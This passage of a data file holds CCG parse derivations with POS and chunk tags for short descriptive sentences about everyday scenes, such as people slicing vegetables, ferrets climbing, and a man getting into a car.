t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tomato', 'tomato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(228,
rp(s:dcl,
ba(s:dcl,
t(np, 'Someone', 'someone', 'DT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tomato', 'tomato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(229,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'preparing', 'prepare', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'dish', 'dish', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(230,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
t(n, 'onion', 'onion', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
fa(s:pss\np,
t((s:pss\np)/pp, 'sliced', 'slice', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'knife', 'knife', 'NN', 'I-NP', 'O')))),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(231,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'One', 'one', 'CD', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'running', 'run', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(232,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(233,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'singing', 'sing', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(234,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'singing', 'sing', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(235,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(236,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'trumpet', 'trumpet', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(237,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'few', 'few', 'JJ', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'floating', 'float', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'raft', 'raft', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(238,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'People', 'people', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
ba((s:ng\np)/np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
conj(((s:ng\np)/np)\((s:ng\np)/np), (s:ng\np)/np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t((s:ng\np)/np, 'paddling', 'paddle', 'VBG', 'I-VP', 'O'))),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'raft', 'raft', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(239,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'People', 'people', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
ba((s:ng\np)/np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
conj(((s:ng\np)/np)\((s:ng\np)/np), (s:ng\np)/np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t((s:ng\np)/np, 'paddling', 'paddle', 'VBG', 'I-VP', 'O'))),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'raft', 'raft', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(240,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Four', 'four', 'CD', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'floating', 'float', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'raft', 'raft', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(241,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'cat', 'cat', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
ba(np,
lx(np, n,
t(n, 'corn', 'corn', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cob', 'cob', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(242,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cat', 'cat', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'corn', 'corn', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(243,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'vegetable', 'vegetable', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(244,
rp(s:dcl,
ba(s:dcl,
t(np, 'Nobody', 'nobody', 'DT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tomato', 'tomato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(245,
rp(s:dcl,
ba(s:dcl,
t(np, 'Someone', 'someone', 'DT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'strumming', 'strum', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(246,
rp(s:dcl,
ba(s:dcl,
t(np, 'Someone', 'someone', 'DT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(247,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Three', 'three', 'CD', 'I-NP', 'O'),
t(n, 'women', 'woman', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(248,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'few', 'few', 'JJ', 'I-NP', 'O'),
t(n, 'women', 'woman', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(249,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'bull', 'bull', 'NN', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'brushed', 'brush', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'monkey', 'monkey', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(250,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'monkey', 'monkey', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'brushing', 'brush', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'bull', 'bull', 'NN', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(251,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'monkey', 'monkey', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'brushing', 'brush', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'bull', 'bull', 'NN', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(252,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'bull', 'bull', 'NN', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'brushing', 'brush', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'monkey', 'monkey', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(253,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'lady', 'lady', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'cracking', 'crack', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'egg', 'egg', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'for', 'for', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'mixer', 'mixer', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(254,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'lady', 'lady', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'meat', 'meat', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(255,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'few', 'few', 'JJ', 'I-NP', 'O'),
t(n, 'ferrets', 'ferret', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/pp, 'out', 'out', 'IN', 'I-PP', 'O'),
fa(pp,
t(pp/np, 'of', 'of', 'IN', 'B-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cage', 'cage', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(256,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Ferrets', 'ferret', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RB', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'from', 'from', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'shelf', 'shelf', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(257,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'hurriedly', 'hurriedly', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'getting', 'get', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'car', 'car', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'garage', 'garage', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(258,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'getting', 'get', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'car', 'car', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(259,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'parking', 'park', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'car', 'car', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'garage', 'garage', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(260,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'getting', 'get', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'car', 'car', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(261,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'clove', 'clove', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'garlic', 'garlic', 'NN', 'I-NP', 'O'))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'pieces', 'piece', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(262,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'clove', 'clove', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'garlic', 'garlic', 'NN', 'I-NP', 'O'))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'pieces', 'piece', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(263,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Noodles', 'noodle', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'boiled', 'boil', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(264,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'boiling', 'boil', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'noodles', 'noodle', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(265,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'karate', 'karate', 'JJ', 'I-NP', 'O'),
t(n, 'practitioner', 'practitioner', 'NN', 'I-NP', 'O'))),
lx(np\np, s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'kicking', 'kick', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'another', 'another', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'protective', 'protective', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'boxing', 'boxing', 'NN', 'I-NP', 'O'),
